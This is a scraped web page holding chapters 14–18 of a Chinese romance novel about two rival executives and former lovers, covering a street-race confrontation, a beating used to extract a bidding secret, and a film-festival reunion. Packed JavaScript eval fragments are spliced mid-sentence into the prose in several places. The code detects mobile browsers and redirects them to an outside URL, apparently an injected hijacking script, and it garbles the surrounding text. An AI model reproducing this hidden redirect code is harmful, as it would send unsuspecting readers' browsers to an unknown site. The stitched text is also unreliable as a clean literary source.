秦舟黑亮的眸子死死地盯着他,直到上方传来嘲弄般的笑声:“我就告诉你——” “没有。” “今天就算是宁斯与张寻经理任何一个人出现在这儿,我也会是一样的做法。” “你以为跟我之间,除了恨……还会有什么别的东西吗?” 乔淮生静静地凝视着秦舟眼中的一抹血红,看着他在一地狼藉中仰望着自己,好像是一条大雨中摇尾乞怜的狗。 手指轻轻地动了动,一瞬间他想拂过他的脸颊,可是,可是—— 咬了主人的狗……如果不受到应有的惩罚,如果不能让人永远永远地记住这份疼痛,他又怎么会在以后的日子里乖乖听话呢? “人不需要爱也能活着,这不是你告诉我的吗?” 乔淮生将沾到的那点血抹到他的眼角,秦舟的喉结剧烈滚动了下,可是乔淮生微微俯身,语气嘲弄: “怎么,现在自己受不了了?” * 等待修车花了不少时间。 秦舟的莱万特堵在前面,导致乔淮生的车子也没有办法移动。 前方静悄悄的,一同安静的还有回来之后的乔淮生,宁斯与犹豫了许久,还是忍不住开口:“乔总?” 乔淮生这才睁开眼睛:“嗯?” 宁斯与挑了一个毫不沾边的问题:“都这么久了,张少的车怎么还没追上来了。” 闻言,乔淮生脸上的表情才终于轻松了些:“他追不上来了。” “为什么?” “因为……”乔淮生想起昨天自己喝下那三杯酒时秦舟的眼神,“被狗咬了吧。” “好吧,”宁斯与没听懂,却也乖顺地没有追问,“那咱们什么时候回去啊?” 他说着,肚子咕噜一声。 乔淮生一哂:“饿了?” 宁斯与不太好意思点头,乔淮生却已经按响喇叭滴了一下:“有吃的吗?” 前方的秦舟回过头,冷冷地看了眼宁斯与。 “我饿了。”乔淮生说。 秦舟低下头,先扔了袋面包给宁斯与。 是那种只有他减肥的时候都不太愿意吃的黑麦面包,但是现在忍饥挨饿,宁斯与也顾不了那么多,拆开包装就咬了一大口。 啪嗒! 秦舟这才又将一袋牛肉扔进乔淮生怀中。 宁斯与看看乔淮生又看看自己手中的面包,顿时觉得嚼得都不香了。 但是乔淮生居然一时也没有动。 好半晌,他才撕开包装,想到的却是当初第一次和顾舟出来试车,抱怨他连个肉也没有。 其实当时只是为了转移话题随口找的一句,但是后来他再教顾舟学车的时候,他还真的次次都带着。 包装撕开了,乔淮生却没有吃,只是转手递给了宁斯与:“你吃吧。” “我突然觉得,好像也没有很饿。” 秦舟收回视线,搭在窗边的手指点了一根烟。 那根烟点完,车厢里的音乐也换了,乔淮生转头看了宁斯与一眼:“吃完了吗?” 宁斯与点了点头,小心地把那袋牛肉放在旁边,没太敢动。 修车的车队终于姗姗来迟,将两辆车给拖了出去。 前方的道路腾出来,乔淮生这才上了新车:“走了。” 他一只手系着安全带,话却是冲着前面的秦舟说的:“本来没吃过什么苦的大少爷,你还真打算让人死在那啊?” 秦舟取了辆车跟过来。 两辆车一前一后地飞驰在路上,在夜色里穿梭了会儿,几乎是同时向左一偏,在一片山川环绕的空地前停下。 宁斯与终于重新见到了那位被远远甩在身后的张少。 他的车子正撞在一块石头上,整个车头都凹了进去,一见到他们就崩溃的跑过去:“你们怎么现在才来!” 精致的发型不再,张寻浑身发抖,不知道是冻得还是饿的,连讲话都透着饥寒交迫的哆嗦:“你知道老子等了多久吗!” 他脸上还带着点没擦干净的鼻血,歇斯底里地跳起来:“他妈的,车坏了!手机也没信号!乔淮生!你这里是怎么做的!等老子出去了一定……” “秦总。”刚刚的长腿美女这才从车上下来,肩上裹着披风,“您看?” 张寻唰地回头,震惊地看了那美女一眼,又抬头看了看秦舟:“你、你们……” “斯与,”乔淮生挥挥手,“你先跟这位美女一起回去?” “好。” 张寻看着乔淮生毫无诧异的神色,车子的发动机声一响,立刻开始咆哮:“你们是串通好的!你,”他一只手指着乔淮生,“你早就知道对不对,你故意的!乔淮生我□□……” 秦舟一拳砸在了他的脸上。 穿着西装的男人肌肉线条绷起,压抑了太久的怒火终于找到了发泄口,几乎是一瞬间,张寻的嘴角就见了血。 “人是我找的。” 秦舟只说了这么一句话,随后,又是一拳砸了下去。 张寻重重地砸在旁边的车身上,周围仿佛能听到骨头断裂的声音。 “秦舟!够了!” 秦舟充耳不闻,又是一拳,一颗带血的牙齿被张寻尖叫着吐出来。 “秦舟,”乔淮生皱起眉,语气带着命令,“滚过来!” 三拳下去,秦舟这才大发慈悲地将张寻一扔。 张寻扶着身后的车,站了半天还没站稳,看着秦舟往乔淮生面前一站,像只忠心耿耿护主的狗。 到了现在,他哪能还不明白自己这三拳到底是为谁挨的。 “你……”张寻一讲话就吐出一口血沫子,战战兢兢看着乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865105|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淮生,“你到底想要什么……” “我们想要什么,你不是一直知道吗?” “我还以为张少是真想看给您表演,忘了自己姓什么呢,”乔淮生嗤笑了一声,握着他的肩将让他靠在车旁站稳,“现在,还要看吗?” 乔淮生的语气不重,却无端地让人发冷,这种蛇信般的感觉比秦舟的拳头更加令人害怕:“你……” “我劝你最好现在就告诉我们。” 乔淮生说:“因为我们一旦走了,这里今天晚上就再也不会有人过来。” “这漫漫长夜,可能就要张少一个人在这里度过了。” “哦对,”乔淮生笑了笑,“你还可以走上五十公里,穿过跑道下山。” “当然,中途可能会迷路,可能会遇到一片有豺狼虎豹的山林,赛车夜猎本来就危险,出了点什么意外……也是常有的事,对吧?” “你!你们要是敢动我,我叔叔一定会!” “侄子又不是儿子,你觉得张局心中拎不清吗?” 张寻的牙齿无端地打了个寒颤,他不得不承认,乔淮生说得是对的。 他叔叔那样的人,是不会为了他得罪秦乔两家的。 “说到底,昨天敬酒的时候说,今天罚酒的时候说,都只是酒后吐真言罢了,”乔淮生笑了笑,“对张少来说,这有什么分别吗?” “走吧。” 还没等张寻回答,站在旁边的秦舟已经打开车门:“他不会说了。” 发动机嗡的一下响起来,张寻脑子一炸,猛地扑上去:“我说!我说!!!” “清江湾,清江湾那块地……我听我叔叔说,上边一直有意的都是环保开发……心理价是……” 张寻倒豆子一样全说了出来,秦舟这才拨了个电话。 不一会儿,便有人开车过来,将鬼哭狼嚎的张少给送医院去了。 乔淮生只能坐秦舟的车回去。 路上自然是秦舟开的车,回程比去程少了一个人,秦舟也没有了之前仿佛下一秒就要车毁人亡的冲劲,车子开得很稳。 乔淮生坐在副驾,像是随口提起:“如果张寻真不说,你真打算把他扔这里弄死?” 秦舟一只手握着方向,闻言脸色都没变一下:“你呢?” 关硕不应该说他,乔淮生想,应该来看看秦舟才对,那五年划在秦舟身上的,远比他要深刻得多。 “我?”乔淮生笑了,“得罪我的那可太多了。” “要真的说……” 乔淮生偏头看他一眼:“那我第一个应该先弄死你。” “乔总果然是狠心,”秦舟说,“明明刚刚,我们配合得还是那么的契合。” “是吗,”乔淮生嗤笑一声,“我在床上跟人配合得更契合,你要听听吗?” 车身猛地一个急刹,刚刚提到杀人都无动于衷的人骨节泛白,死死地握着方向盘。 但是乔淮生看都没有看他一眼,兀自将扔张CD当伴奏,眼睛一闭,睡觉去了。 过了一会儿,乔淮生感觉到旁边的窗户被升了上去,带着烟草味的外套盖在他的身上。 音响里放的是首老歌,王菲唱: “其实我再爱惜你又有何用” “难道我这次抱紧你未必落空” 睫毛轻轻地颤了下,叹息从心中划过,却到底没有睁开眼睛。 只是听到头顶好似从牙缝中挤出的声音: “你也千万别落我手里。” 15.第十五章 乔淮生从前有很多少爷般的毛病。 比如为了穿搭好看,从来都少带衣服,连冬天也只穿一件大衣。 闫玲和关硕之前提醒过他很多次,可在一起之后,顾舟却从来不说他一句。 只是每次从自习室、图书馆或者沙发上醒来,身上总能盖着一件衣服。 比乔淮生自己的要大上一号,却正好能把他整个人全都包裹进去,衣服上带着一点清新的皂角味,顾舟似乎非常喜欢这种能够将自己的气息沾染上乔淮生的行为,处心积虑乐此不疲。 但某次指尖刚刚搭上乔淮生的肩膀,睡到一半的那人却突然醒了。 “干什么,”乔淮生的眼角还带着些刚刚苏醒的湿润,连声音也是性感的哑,仿佛是致命的催.情.药,“这么喜欢让我穿你衣服啊,顾舟?” 顾舟垂下眼,想继续给乔淮生把衣服盖上:“你再睡会儿。” “这是什么味道啊?”乔淮生却没有如他所愿,鼻尖嗅了嗅,“好奇怪。” “我今天洗过了。” “是吗,我怎么觉得不是洗衣液的味道。” “我再去换一件。” 顾舟说着就要站起身,乔淮生突然伸出脚尖将他的腰身一勾,细白的长腿就这样露了出来:“顾舟,你这么喜欢盯着我睡觉……” 乔淮生缓缓笑起来:“是不是也看着我的脸自.wei过呀?” 顾舟不说话,乔淮生却穷追不舍,那双眼睛好似勾人的妖魅,连吐息时露出的一点红舌都像是在勾引:“你难道没有把自己的东西悄悄涂上去,趁我睡着的时候盖满我的全身,就好像是……” 脚腕被抓着向后一折,顾舟的眼神像是看到猎物的狼,一口咬在乔淮生的颈侧:“现在有了。” * 车辆回到起点,乔淮生被人叫醒。 身上盖的衣服已经不见了。 曾经的温柔好像是一晃而过的镜花水月,如今的距离才提醒着生疏。 秦舟西装革履,面无表情地整了整自己的领口。 “乔总!” “秦总!” 宁斯与和副总分别开车从两个方向过来:“现在走吗?” 乔淮生和秦舟下了车,两人一个往左一个往右,除却自己,没人知道他们之间曾如何暗涌。 行至中途,秦舟突然又回过头。 “乔淮生。” 乔淮生跟着回头,他们隔着一条终点线相望,或许也是新一圈的起点。 但彼此都很清楚,之前的温情与愤怒都只能是一闪而过的火花,现在的身份,注定只能是你死我活的战争。 “也祝福你,”秦舟抚了抚手腕,沉声道,“千万不要输。” * “乔总,”上了车,宁斯与才抬头去问乔淮生,“你跟秦总……之前是什么关系呀?” 乔淮生看了他一眼。 倒也没生气,只是略有些疑惑:“我以为,你会问我为什么会知道张寻在哪里。” “我说了,”宁斯与很聪明,是一种很讨喜的聪明,“我只在乎你。” “除了乔总你的感情生活,其他的事情我都不关心。” 乔淮生忍不住笑了声。 “看电影吗?”乔淮生说,“我请你。” 宁斯与还以为这只是一个隐晦的托辞,没想到乔淮生竟然真的带他来了一个影院。 老旧的片场看起来很久没人来,午夜场放着一个早该下线的电影,宁斯与查了一下拍摄时间,居然是五年前的片子。 那部电影叫《白日焰火》。 三流恶俗的商业片,男主从小被校园霸凌性格懦弱,后来被阳光灿烂的女主救赎,两人经历了高考误会棒打鸳鸯等一系列老套的狗血情节终于破镜重圆。 凌晨午夜,这样的片子,乔淮生竟然看得目不转睛,纵使宁斯与再敬业也没有这样的好兴致,强打精神也抵不住这样催眠般的剧情,很快沉沉睡去了。 等到他醒来的时候,电影已经演到最后,事业有成的男主去女主家里敲门,三长一短,敲得如同敲钟。 果然是三流片,总喜欢在这样的地方搞文艺,剧情却烂得要死。 宁斯与懒洋洋打了个哈欠,转头在旁边看到乔淮生才觉得不对,当即变了个脸色:“乔,乔总,”他眨眨眼,一副睡眼朦胧手足无措的样子,“我,我怎么睡着啦。” 结果乔淮生压根也没有看他,依旧盯着男主那双敲钟的手:“电影好看吗?” “乔总,你……你要听真话吗?” 乔淮生笑了:“不然呢?” “不好看,”宁斯与说,“这种剧情的片子一抓一大把,男女主长得也没什么特色,演技也差,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870691|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等级的片子,能上影院都够呛。” “是啊。”乔淮生说,“好烂的片子。” “但是它之前……并不是这样的。” “这部戏本来不该有男主。” 乔淮生的手指紧紧地掐进掌心:“它的男主,原本是一个杀人犯。” 他说起这句话的表情太过平静,宁斯与几乎浑身一震,下意识看了眼屏幕滚动播放的结尾字幕。 不止他的演员名不见经传,那导演也是一个从未听说过的人物,宁斯与不知为何放下点心,却蓦地听到乔淮生道:“它的导演本来应该是我。” 宁斯与一惊。 “但是它被秦舟给卖了。” “十二万。” 乔淮生觉得有些可笑,他当初跟顾舟因为十二万一瓶的酒纠葛。 于是,顾舟把他的电影版权卖了十二万。 仿佛是一场宿命的轮回,一个诅咒。 秦舟拿这个作为跟过去了断的投名状,回到秦家做他失而复得的大少爷。 而他—— 他曾经以为差一点就可以碰到的梦想,差一点就可以永恒的爱人。 就这样玩笑般地结束了。 “你不是问我跟秦舟是什么关系吗?”乔淮生缓缓地笑了声,“就是这样的关系。” 背叛与被背叛,绝望与不可原谅,秦舟爱也好恨也罢,他既然选了个这条路,他们之间就没有再回去的可能。 “那,”宁斯与连讲话都很小声,“那你……” “那我会怎么对他?” 乔淮生说:“你知道不听话的狗应该怎么办吗?” 秦舟当初为了金钱与权利背叛了他,那只好把他所拥有的东西全都抢过来,让他再一次一无所有,再将牙齿一颗一颗地拔光,铐上锁链关在笼子里—— 这样他才能知道,应该怎么乖顺地讨好主人。 “不过我确实要谢谢你。”乔淮生说。 如果不是宁斯与,他怎么会知道秦舟还能为他失控到这个地步呢? 若是他真的心如止水,乔淮生对付他还挺麻烦,但是现在…… 乔淮生轻轻抚了抚手腕。 只需要稍稍一点诱惑就能上钩的狗,注定只能乖乖地回到主人身边。 宁斯与只是个最初的鱼饵,接下来该入场的……是他自己了。 16.第十六章 早上八点,恒盛的大楼已经开始人头攒动,男男女女握着咖啡提着包,埋头往里冲。 司机拉开门,乔淮生整了整袖口,他难得穿了身特别板正的正装,经典款型显得矜贵又优雅,刘海全部被梳上去,眼眸低垂时带着几分相似的威压。 “乔总。” “乔总好。” “乔总早上好!” 乔淮生点了点头,乘总裁电梯上二十楼,落地窗风景秀丽,秘书将冲好的咖啡放在他的桌前,文件夹跟着整好:“乔总,这是您要的关于清江湾的策划书。” “企划部的方向一直是绿色环保城,现在基本已经成型得差不多了,你看……” “换掉。” “是要全部换掉吗乔总?”秘书再次确认,“可是您昨天打电话过来不是说,张局说那边的策划就是环保主题,我们的方案完全没有问题啊,这不是规划局的意思吗?” “不是。” “不是。” 纵缰的会议室,秦舟坐在首位,扫视过下面坐着的一圈人,斩钉截铁道: “把所有关于环保主题的策划都给撤掉,明天下午五点之前,重新交一个新的过来。” “为什么?”副总不理解,“张寻那家伙胆子都吓破了,他能说谎骗我们?” “没有。” 秦舟十指交叠:“他说的是真话。” “什么?那我们得到了消息又不用,到底是为什么?” 而且还白白让乔淮生那人得了便宜,想起这个副总就气得牙痒痒。 “因为我们为了排除一个绝对错误的答案,而不是一个正确的答案。” 办公室里,乔淮生抿了口咖啡,对秘书道。 秘书两只无辜的大眼睛眨了眨,显然是没有听懂。 “行了,”这种清澈的样子让乔淮生想起之前艺术团刚来的小孩,忍不住笑了声,“这种事情我们来想就够了,你负责交代企划部。” “好的乔总。” 秘书点点头,脚步退到一半,却又忍不住回头问了句:“所以到底是为什么?” “真想知道?” 秘书点了点头。 乔淮生冲她招了招手:“过来。” “因为比张寻的消息更早的是——张局要倒了。” “所以他的答案,一定是错的,”乔淮生压低声音,低沉的语气里撩人的磁性:“明白了吗?” “明白了。” 纵缰会议厅里,旁边的副总点点头:“早说啊,费那么大工夫,我那天陪着喝了那么多酒,还以为你俩真的对着他一个小毛孩卑躬屈膝呢,结果真是,说动手就动手啊。” “哦对,”等里面的人都散得差不多,副总才从口袋里将东西拿出来:“喏,你的手表。” 湛蓝色的表盘在灯光下显出一点切割的弧度,正是那天晚上,掉下乔淮生脚下的那个。 “人家玩个小孩你也要管,”副总忍不住道,“你跟……” 秦舟抬眸冷冷地看了他一眼。 “我知道!”但秦舟毕竟不是乔淮生那样的风流好脾气,副总立刻改口,“上班时间不聊私事,我闭嘴了。” “跟策划部的说,”秦舟道,“把标书的划分重新修改,利润压缩到五个点。” “五个点?!” 副总差点没吼出来,“这样我们还赚什么。” “赚钱?”秦舟嗤笑了声,“我觉得,还是赢更重要一点,不是吗?” 副总瞬间明白了秦舟的意思。 秦舟回国后,这是纵缰跟恒盛的第一战,利润或许不是最重要,这归国第一枪的名头绝对重要。 又或者……副总看了眼桌上的那块表。 这也是秦舟跟乔淮生的第一战。 “但是光是让利就能赢吗?”副总说,“我们能想到的乔淮生也能想到吧,他难道不可以做一样的事。” “他不会的。” 秦舟垂着眼,想起那辆在赛场上明明可以把他逼下山崖,却蓦地停下的车。 一个抑郁成那样也只会割自己手腕的人,一个做了坏事还要在死前把一切还给他的人。 手表被秦舟扔进抽屉里,抬眸问道:“张局下来之后,最有希望接上去的是李局吧?” 秦舟的目光冷淡:“他的儿子从澳门回来了吗?” * 乔淮生的日子突然变得格外繁忙起来。 恒盛跟纵缰的第一场大战,多少人的眼睛都在盯着,两家的大楼只隔了一条街,每次一家出去买咖啡的时候,总能看到另一家依旧灯火通明。 乔淮生平常都是一副纨绔浪荡的模样,这一次居然也老老实实跟着在办公室里坐着,因为这个,纵缰又将最后的利润率下调到了3%,几乎到了一个很难盈利的地步。 好像是一定真的是要不惜一切代价赢了这场仗。 开标的那一天,总助偷偷问乔淮生:“乔总,你觉得我们这次可能性大吗?” 乔淮生正在挑选出门要带的腕表:“你觉得呢?” “我不知道,”郁明是乔淮生一种秘书团里最得力的一个,就是还太年轻,挠了挠头,“我心里没底。” “但是我从来不做没有把握的事情。” 乔淮生将那腕表扣上,这才抬头看他一眼:“如果我离开总部,你是想留在这里,还是……” “我当然是跟你一起!” “行,”乔淮生笑了笑,一只手拍了拍他的肩,“不用紧张,去吧。” “不管怎么样,一切有我呢,赢了给你们发红包,输了也不会扣你们奖金的。” 很奇怪,乔淮生明明整天一副轻佻模样,但是跟着他的时候又莫名让人觉得很有安全感。 郁明收拾材料准备出发,又狐疑地看了乔淮生一眼:“乔总,你今天也要出门吗?” 只是听个唱标,这种繁琐流程总裁一般都是不用去的,在家里听个结果就行了:“这么多天没睡好了,先回家休息一下吧。” “事尤未了。”乔淮生说,“最后的一步才是最关键的。” 在这里演了这么久的戏,如果没有观众等着揭晓结果,那还有什么意思呢? “去个电影节,有结果了记得给我发消息。” * 电影节是闫玲邀请的。 当初团里的小配角已经成为赫赫有名的影后,作为他和顾舟的少数知情者,现在秦舟回来了,乔淮生当然知道她不止邀请了自己过来。 人来人往的全都是明星大导,有女星着急上台阶被人踩了裙子,差点摔下去。 “小心,”乔淮生路过扶了他一把,一只手握拳半揽在腰上,不折不扣的绅士风度,“没事吧?” “这里的台阶是有点陡了,回头我跟陈总说重新修一下。” 乔淮生彬彬有礼退后半步,一个回护的姿势:“你先走。” 周围的目光纷纷看过来,不管在哪里,乔淮生似乎总有一种吸引所有人注意的本事。 等到护送女星进了宴会厅,乔淮生这才换了方向,漫不经心地应付着对方微红的脸颊和搭讪,从侍者手里拿了杯酒。等他从人群里发现闫玲的方向,才发现她正在跟人争吵。 乔淮生走过去的时候,恰好听到两句。 “乔总啊?谈谈恋爱是不错,但真要是想找退路,还是得找个靠得住的吧。” “我听说,乔总之前在大学的时候还休学了半年,这种人肯定是一路砸钱保送的,谁知道里头水分多大。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874306|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就是,这次清江湾的项目搞得阵仗那么大,但是我看,他这种靠爹的纨绔怎么会是秦家那位的对手,怕是等着被打脸呢?” “你们说什么呢?!”闫玲恨不得把包摔在他们脸上,“你们知道什么就乱说!” “学长他才不是这样的人!他之前有多优秀你们根本就没有见过!他休学那是因为……” “因为什么?” 带着点轻笑的声音从身后传来,闫玲立刻回过头:“学长!” “好久不见。” 乔淮生冲她举了下杯,他永远是人群中可以一眼望见的存在,西服勾勒出高挑的身材,眼角的笑风流中带着几分撩人。 刚刚评说乔淮生的那几位稍稍往后站了站,小声道:“确实……人还是挺好看的。” 乔淮生听到了声音,却只是略一勾唇,众人的目光望向他,他却不看众人,只盯着其中那个说得最狠的小花:“你的项链很好看。” “矢车菊蓝宝石,”乔淮生微微弯起眼睛,“这个颜色很衬你。” 他只是略略一瞥,说话时并没有盯着女生的脖颈,可是那小花的脸却瞬间爬上绯红:“这个是我自己设计的。” “是吗?这么厉害,”乔淮生说,“听说陈导下部剧的女主角就是个珠宝设计师,等会儿见到,我会帮跟他提起。” “所以……” 乔淮生端着杯子,与小花轻轻一碰:“方便知道你的名字吗?” 只这么一句,周围立刻传来嫉恨的骂声。 刚刚讨论的乔淮生的众人瞬间换了个话题,变成了讨伐和围攻叛徒。 从人群中挤出来,乔淮生笑着跟旁边的闫玲碰了下杯:“这不就好了,干嘛生那么大的气。” 闫玲看了看那群不攻自散的人,又看了看乔淮生脸上那样运筹帷幄的笑容:“学长,你……” 乔淮生原本以为她是要跟关硕一样说些你怎么变成这样的鬼话,没想到闫玲一瞬扑过来:“你怎么瘦了这么多?!” 刚刚离得远还看不出来,但是乔淮生举起酒杯的那一瞬间,手腕滑落,几乎比之前细了一圈,闫玲一瞬间觉得…… 好像是当初顾舟将乔淮生从茧中抱出来的一瞬间。 “学长你不会又……” 闫玲说着就要冲上去扒开乔淮生的腕表,可惜扒了半天没有连锁扣都没有扣开,只好悻悻地收回手。 当然不能,乔淮生想,这可是他可以换的腕表,没有机关技巧,连成年男子摘不下来,更何况是闫玲。 不过连她都能看出来的事情,其他人眼中只会更明显吧? 想到这个,乔淮生微微笑了下:“没事儿。” “只是最近太忙了,没怎么顾得上吃饭。” “忙?”闫玲皱起眉,“你忙什么,宁市有几个能跟……” 说到一半,闫玲突然停了。 她显然也想到了那个人是谁。 “那个……学长,我要跟你坦白一件事情,”闫玲小声说,“我,我也请了秦舟过来。” 那当然,乔淮生想,他当然知道秦舟会过来。 这个结果如果不当着他的面揭露,怎么引他入局呢? 但乔淮生没说话,只是静静地看着闫玲,听她说: “你们两个当初的事情我是知道的,顾舟他之前明明……”闫玲想起往事,不由得叹了一口气,“我觉得当初的事情肯定是有误会,现在他回来了,我想你们应该有一个机会解释清楚。” 乔淮生轻笑了下:“你觉得我们有误会?” “行啊,那你不妨自己问问他。” 像他当初一样,再问一遍。 话音刚落,门口突然响起一阵喧哗。 秦舟到了。 17.第十七章 乔淮生只朝门口略略看了一眼,随后立即起身离开。 中央的大屏幕上正在放最近刚拿了戛纳奖的一个文艺片,影片中有一个很出圈的场景,就是影片开始的时候,站在海边看着一群候鸟从头顶飞过。 而当影片结束的时候,曾经的候鸟又再一次飞过,只是这一次,只剩下了一只。 “我觉得这是代表孤单,”有人站在跟前讨论,“孤帆远影碧空尽,肯定是些寂寞的嘛。” “我怎么觉得是怀念,这个时候主角刚亲手处决了背叛自己的伙伴,看到候鸟的那一刻,肯定是在怀念自己的往昔吧。” 乔淮生跟着抬头看了眼,看那纯白的鸟翅从自己面前飞过:“我倒觉得,那其实是死亡的隐喻。” “候鸟是不能离群的,离开了同伴太久,它一个其实是很难存活下去的,而且……”乔淮生看了看上方的屏幕,“开头和结尾的季节相同,但是这只候鸟的航向,却是相反的。” “它应该没想再活下去。” “说得好!!” 身后传来一阵掌声,声音难掩激动:“这只候鸟的方向是反的,这个规律,我在这里听了这么久,只有你一个人看了出来!” 乔淮生这才回过头,男人穿了一身普通的夹克衫,模样看上去并不引人注目,可唯有那双眼睛却熠熠,提起电影时,带着旁人无法企及的热切。 乔淮生:“陈导。” “乔总,”陈泽明自上而下看了他一眼,这才沉沉地叹了口气,“你还活着,太好了。” “陈导你这话……我才二十多岁吧,应该还不至于英年早逝?” 普通人说这话已经是想要找骂的冒犯,谁知陈泽明还摇了摇头,随后道:“五年前青年节,你的那部片子,我是最终评审。” “我给它了特等奖,”陈泽明说,“然后……我一直想见见你。” “你那种感觉,我曾经也有过,我怕晚一点,给我这部作品的时候就会走曾经差点没走的旧路。” “一整场会议,我一直在找你,可是你始终没有过来。” 乔淮生垂下眼睛。 他不是没有过来,他是已经过不去了。 就是在那一天,他才知道,顾舟原来姓秦。 在他瞒着自己说加班的夜里,他和推杯换盏笑意盈盈的那个人……是秦之昭。 他最恨的秦之昭。 “很早之前我就说过,你要是不从商,”陈泽明叹了口气,“以你的才华,电影界应该已经有了不少好作品。” “我看得出来,你应该是很喜欢电影的,怎么最后还是走了这么一条路呢?” * 宴会开了一半,秦舟才姗姗来迟。 他更像是从什么会议上赶过来的,板正的一丝不苟的西装,却更带着几分极具压迫感的凌厉。 即便是有几个想来搭讪的也被他这股气质吓得不敢靠近。 这样挺好,秦舟很早就知道自己并不会如乔淮生那样处处讨人喜欢。 他厌恶这些视线,当这些出现在乔淮生身上的时候,这些厌恶就会变成更深的嫉恨。 挡路的人离开,秦舟才垂眸看了眼腕表。 公布标书的时间要到了。 就像乔淮生知道闫玲邀请他是为了什么,秦舟更加知道自己是为了遇见谁。 况且,为了这个标,他们已经快两个月没有见过了。 虽然两家的大楼只隔了一条街,但是原来一个人如果不是刻意想见到的时候,是可以一点也遇不见的。 那些近在咫尺的渴望压迫着他,促使着秦舟到了一个自己从前压根不会过来的场合,寻觅着那人的身影。 好在乔淮生永远都是可以让人一眼望到的。 中央的大屏旁,乔淮生一身西服风度翩翩,闫玲站在他的身后,似乎正在跟一个导演聊艺术。 而等秦舟走近了才听到—— “你走吧,”陈明泽道,“我不会接受你的投资的。” “如果是艺术家,可以,但是你现在已经充满了铜臭味。” “你的花边新闻我听过不少,”陈泽明说:“我不认为你有鉴赏艺术的能力。” 乔淮生就站在他的对面,低垂着眼眸,既不反驳也不开口,静静地听着他的否定。 风衣像是披在肩上,空空荡荡的。 瘦了。 “五年前的那部片子,拍得那么好,可是你转手就将他买给了别人,改成了什么三流的爱情片!” “是! 我承认这种片子市场好,”陈泽明怒气冲冲,就差指着乔淮生的鼻子骂,“但我的电影宁可烂在手里,也不会让你这种人随意操控!” 乔淮生还是没有说话。 仿佛当初一遍一遍地修改台词,打磨镜头,为了一场火搭了半个月的镜,得知片子进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882182|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复赛的时候抱着他亲吻的人不是他一样。 “不是这样的!” 闫玲急着想要辩解,“学长他当初……” “一亿五千万,”一道低沉的声音传来,秦舟站在乔淮生的身后,“如果陈导同意的话,投资可以是这部片子的双倍。” “而且,”秦舟望着乔淮生略有些苍白的侧脸,有那么一瞬间他想要将他抱进怀里,像是当初一样,但是最终,秦舟也只能略带着苍白的解释: “片子是他前男友卖的。” 闫玲唰得一下抬起了头。 听着秦舟一字一句沉沉道:“当时,他并不知情。” “他其实……” “我前男友已经死了。”乔淮生突然出言打断了他,他没看秦舟,只是嘲弄般地扯了扯嘴角: “逝者已矣,他的罪我来背。” 心脏像是被钝重的裁纸刀划过,秦舟怔怔地看着乔淮生此刻的神情。 那场关系就这样被他下了定义。 或许乔淮生曾经爱过他,只是他爱的那个人已经死去了。 重逢那天,他叫他顾舟,原来是最后的告别吗? “我不会干涉电影决定的,”乔淮生朝陈泽明鞠了一躬,感谢他当年的投票,“谢谢您当初的奖。” 奖金被闫玲偷偷寄给他,在乔淮生被傅芸断了经济来源的时候,那几乎是他和顾舟当年重新生活的全部成本。 只是当乔淮生以为日子能这样慢慢好起来的时候,突然从某一天开始崩塌掉了。 “您是一位好导演。” 但他要拍的戏已经不在这里了。 这一次,不会再有这样的前辈为他开绿灯,他要导演的故事里,输赢只有生死两个选项。 乔淮生转身离开了荧幕。 投影仪的光晕罩了一点在他的身上,让那道身影显得格外得瘦削疲惫。 不知怎么地,秦舟几乎一瞬想到自己跟着乔淮生的那段日子,看他像个套在模板里的机器一样日渐磨损下去,最后…… “乔淮生!” 秦舟下意识想去拉他,手指碰到乔淮生的手腕,被那样凉的体温和凸出的腕骨吓了一跳,那股熟悉的不安感如同电流般瞬间扩展至全身—— “你等等!” 乔淮生一回身。 叮铃,铃声却在这个时候响了起来。 投标结果公示了。 18.第十八章 “秦总,”乔淮生面无表情地将手腕抽出来,“恭喜。” 秦舟握得很紧,怕伤到乔淮生,只好松了手,那腕表居然在这样的情况下还是稳稳当当,让人窥探不到下面的皮肉分毫。 但是乔淮生已经看到了那条短信: 